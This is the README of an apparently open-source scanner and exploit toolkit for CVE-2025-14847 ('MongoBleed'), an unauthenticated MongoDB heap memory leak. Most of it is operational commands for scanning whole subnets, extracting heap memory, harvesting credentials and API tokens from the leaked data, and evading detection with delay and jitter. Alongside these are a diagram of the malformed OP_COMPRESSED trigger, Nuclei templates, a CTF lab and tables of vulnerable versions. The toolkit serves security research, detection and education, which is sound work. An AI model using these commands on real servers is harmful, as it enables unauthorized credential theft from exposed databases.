
CVE-2025-14847 (MongoBleed) scanner and exploit tool. Unauthenticated MongoDB heap memory leak via zlib decompression. Detection, memory extraction, credential parsing, CIDR/batch scanning, Nuclei templates, and CTF lab included
CVE-2025-14847 스캐너 및 익스플로잇 툴킷
MongoBleed를 위한 보안 연구 툴킷입니다. MongoDB의 zlib 압축 해제에서 발견된 심각한 인증되지 않은 메모리 누수로, 공격자가 인증 없이 서버 힙 메모리에서 민감한 데이터를 추출할 수 있습니다.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# 외부 종속성 없음 -- Python 3 표준 라이브러리만 사용
cd cli
# 대상이 취약한지 탐지 (기본 동작)
python mongobleed.py -t localhost:27017
# 전체 서브넷 스캔
python mongobleed.py -t 192.168.1.0/24
# 메모리 추출 및 크리덴셜 파싱
python mongobleed.py -t target:27017 -e --credentials
# 안전 모드 -- 탐지만 수행, 익스플로잇하지 않음
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # 명령줄 스캐너 및 익스플로잇 도구
│ ├── mongobleed.py # 주요 CLI 도구
│ ├── requirements.txt # Python 종속성 (표준 라이브러리만)
│ └── README.md # CLI 문서
├── lab/ # Docker 기반 CTF 실습 환경
│ ├── docker-compose.yml # 멀티 컨테이너 실습 구성
│ ├── vulnerable/ # 취약한 MongoDB 설정
│ ├── patched/ # 패치된 MongoDB (비교용)
│ ├── no-zlib/ # 익스플로잇 불가 (zlib 비활성화)
│ ├── monitoring/ # 공격 시각화 대시보드
│ ├── warmup-heap.sh # 힙에 민감한 데이터 채우기
│ └── README.md # 실습 환경 설정 안내
├── nuclei/ # Nuclei 스캐닝 템플릿
│ ├── CVE-2025-14847.yaml # 능동적 익스플로잇 템플릿
│ ├── CVE-2025-14847-safe.yaml # 안전한 탐지 템플릿
│ └── README.md # Nuclei 템플릿 문서
├── docs/ # 교육 문서
│ ├── README.md # 학습 경로 인덱스
│ ├── 01-fundamentals.md # MongoDB 및 메모리 기초
│ ├── 02-vulnerability.md # CVE-2025-14847 심층 분석
│ ├── 03-exploitation.md # 실습 익스플로잇
│ ├── 04-detection.md # 헌팅 및 탐지
│ └── 05-defense.md # 완화 전략
└── README.md # 이 파일
192.168.1.0/24, 10.0.0.0/16:27018)# 단일 대상 확인
python mongobleed.py -t localhost:27017
# 상세 출력으로 확인
python mongobleed.py -t localhost:27017 -v
# 안전 모드 -- 탐지만, 익스플로잇 페이로드 전송 안 함
python mongobleed.py -t localhost:27017 -s
# 버전 정보 표시
python mongobleed.py -t localhost:27017 --version
# /24 서브넷 스캔
python mongobleed.py -t 192.168.1.0/24
# 사용자 정의 포트가 있는 CIDR
python mongobleed.py -t 10.0.0.0/24:27018
# 대상 파일에서 스캔 (파일 내 CIDR 범위 확장)
python mongobleed.py -T targets.txt -j 20 -o results.json
# 대상 파일에는 IP, host:port, CIDR 범위 포함 가능
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# 메모리 추출 (기본 오프셋 범위 20-8192)
python mongobleed.py -t target:27017 -e
# 사용자 정의 오프셋 범위
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# 연속 추출 (Ctrl+C로 중단)
python mongobleed.py -t target:27017 --continuous
# 버전 확인이 불확실해도 강제 추출
python mongobleed.py -t target:27017 -e --force
# 유출 메모리에서 크리덴셜 및 시크릿 파싱
python mongobleed.py -t target:27017 -e --credentials
# 토큰만 파싱
python mongobleed.py -t target:27017 -e --tokens
# 출력 가능한 문자열 추출
python mongobleed.py -t target:27017 -e --strings
# Hexdump 출력
python mongobleed.py -t target:27017 -e --hexdump
# 요청 간 지연 추가 (밀리초)
python mongobleed.py -t target:27017 -e --delay 500
# 지연에 무작위 지터 추가
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# 안전한 탐지만
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# 능동적 탐지
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# 여러 대상 스캔
nuclei -t nuclei/ -l targets.txt
# 모든 컨테이너 시작
cd lab && docker compose up -d
# 서비스:
# - localhost:27017 MongoDB 4.4.29 (취약 + zlib)
# - localhost:27018 MongoDB 6.0.26 (취약 + zlib)
# - localhost:27019 MongoDB 8.0.16 (취약 + zlib)
# - localhost:27020 MongoDB 8.0.17 (패치됨)
# - localhost:27021 MongoDB 8.0.16 (No zlib - 익스플로잇 불가)
# - localhost:8080 모니터링 대시보드
# 익스플로잇 전 민감 데이터로 힙 웜업
./warmup-heap.sh 27017 50
# 실습에 익스플로잇 실행
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
Target:
-t, --target TARGET 대상 호스트:포트 또는 CIDR 범위 (예: 192.168.1.0/24)
-T, --targets FILE 대상 목록 파일 (줄당 CIDR 지원)
Detection:
--detect 대상이 취약한지 탐지 (기본 동작)
--version MongoDB 버전 표시
-s, --safe 안전 모드 - 탐지만, 익스플로잇 없음
Exploitation:
-e, --extract 오프셋 스캐닝을 통한 메모리 추출
--min-offset N 최소 오프셋 (기본값: 20)
--max-offset N 최대 오프셋 (기본값: 8192)
--continuous 연속 추출 모드
--force 버전 확인 실패 시에도 강제 추출
Analysis:
--credentials 크리덴셜 파싱
--tokens 토큰 파싱
--strings 출력 가능한 문자열 추출
--hexdump Hexdump 표시
Evasion:
--delay MS 요청 간 지연 (밀리초)
--jitter 무작위 지연 지터
Output:
-o, --output FILE 출력 파일 (JSON)
-v, --verbose 상세 출력
-q, --quiet 조용한 모드
--json JSON 출력
--no-color 색상 비활성화
Connection:
--timeout SECS 연결 타임아웃 (기본값: 10)
-j, --threads N 배치 스캔 스레드 수 (기본값: 10)
도구는 추출된 메모리에서 다음 패턴을 검색합니다:
MongoBleed는 MongoDB의 zlib 메시지 압축 해제 (message_compressor_zlib.cpp)의 결함을 악용합니다. 취약한 코드는 실제 압축 해제된 길이 대신 할당된 버퍼 크기를 반환하여, 공격자가 초기화되지 않은 힙 메모리를 읽을 수 있게 합니다.
1. CONNECT (no authentication required)
↓
2. SEND MALFORMED OP_COMPRESSED
┌──────────────────────────────────┐
│ originalOpcode: OP_MSG (2013) │
│ uncompressedSize: INFLATED │ ← Bug trigger
│ compressorId: zlib (2) │
│ compressedMessage: [small data] │
└──────────────────────────────────┘
↓
3. SERVER ALLOCATES OVERSIZED BUFFER
[ small real data | uninitialized heap memory ]
↓
4. BSON PARSER READS INTO HEAP GARBAGE
Inflated document length causes parser to read
beyond actual data into heap memory
↓
5. ERROR RESPONSE LEAKS MEMORY
"invalid BSON field name 'password=secret123...'"
이 툴킷은 승인된 보안 테스트, 연구 및 교육 목적으로만 제공됩니다. 소유권이 있거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 허가되지 않은 컴퓨터 시스템 접근은 불법입니다.
MIT 라이선스
| 유형 | 예시 패턴 |
|---|
| 비밀번호 | password: value, passwd=value |
| 비밀 | secret: value |
| API 키 | api_key: sk_live_... |
| 토큰 | token: ... (16+ 문자) |
| Bearer 토큰 | Bearer eyJ... |
| JWT | eyJ... (Base64 JWT) |
| MongoDB URI | mongodb://user:pass@host |
| PostgreSQL URI | postgresql://... |
| Redis URI | redis://... |
| Stripe 키 | sk_live_... |
| OpenAI 키 | sk-... (48+ 문자) |
| AWS 액세스 키 | AKIA... |
| GitHub 토큰 | ghp_... |
| Slack 토큰 | xoxb-..., xoxp-... |
| CTF 플래그 | FLAG{...} |
| 항목 | 값 |
|---|
| CVE | CVE-2025-14847 |
| 이름 | MongoBleed |
| CWE | CWE-130 (Improper Handling of Length Parameter) |
| CVSS | 8.7 (높음) |
| 유형 | 인증되지 않은 메모리 누수 |
| 공개일 | December 19, 2025 |
| 야생 악용 | December 29, 2025 |
| 브랜치 | 취약 | 패치됨 |
|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 |
| 4.2.x | 모든 버전 | EOL - 패치 없음 |
| 4.0.x | 모든 버전 | EOL - 패치 없음 |
| 3.6.x | 모든 버전 | EOL - 패치 없음 |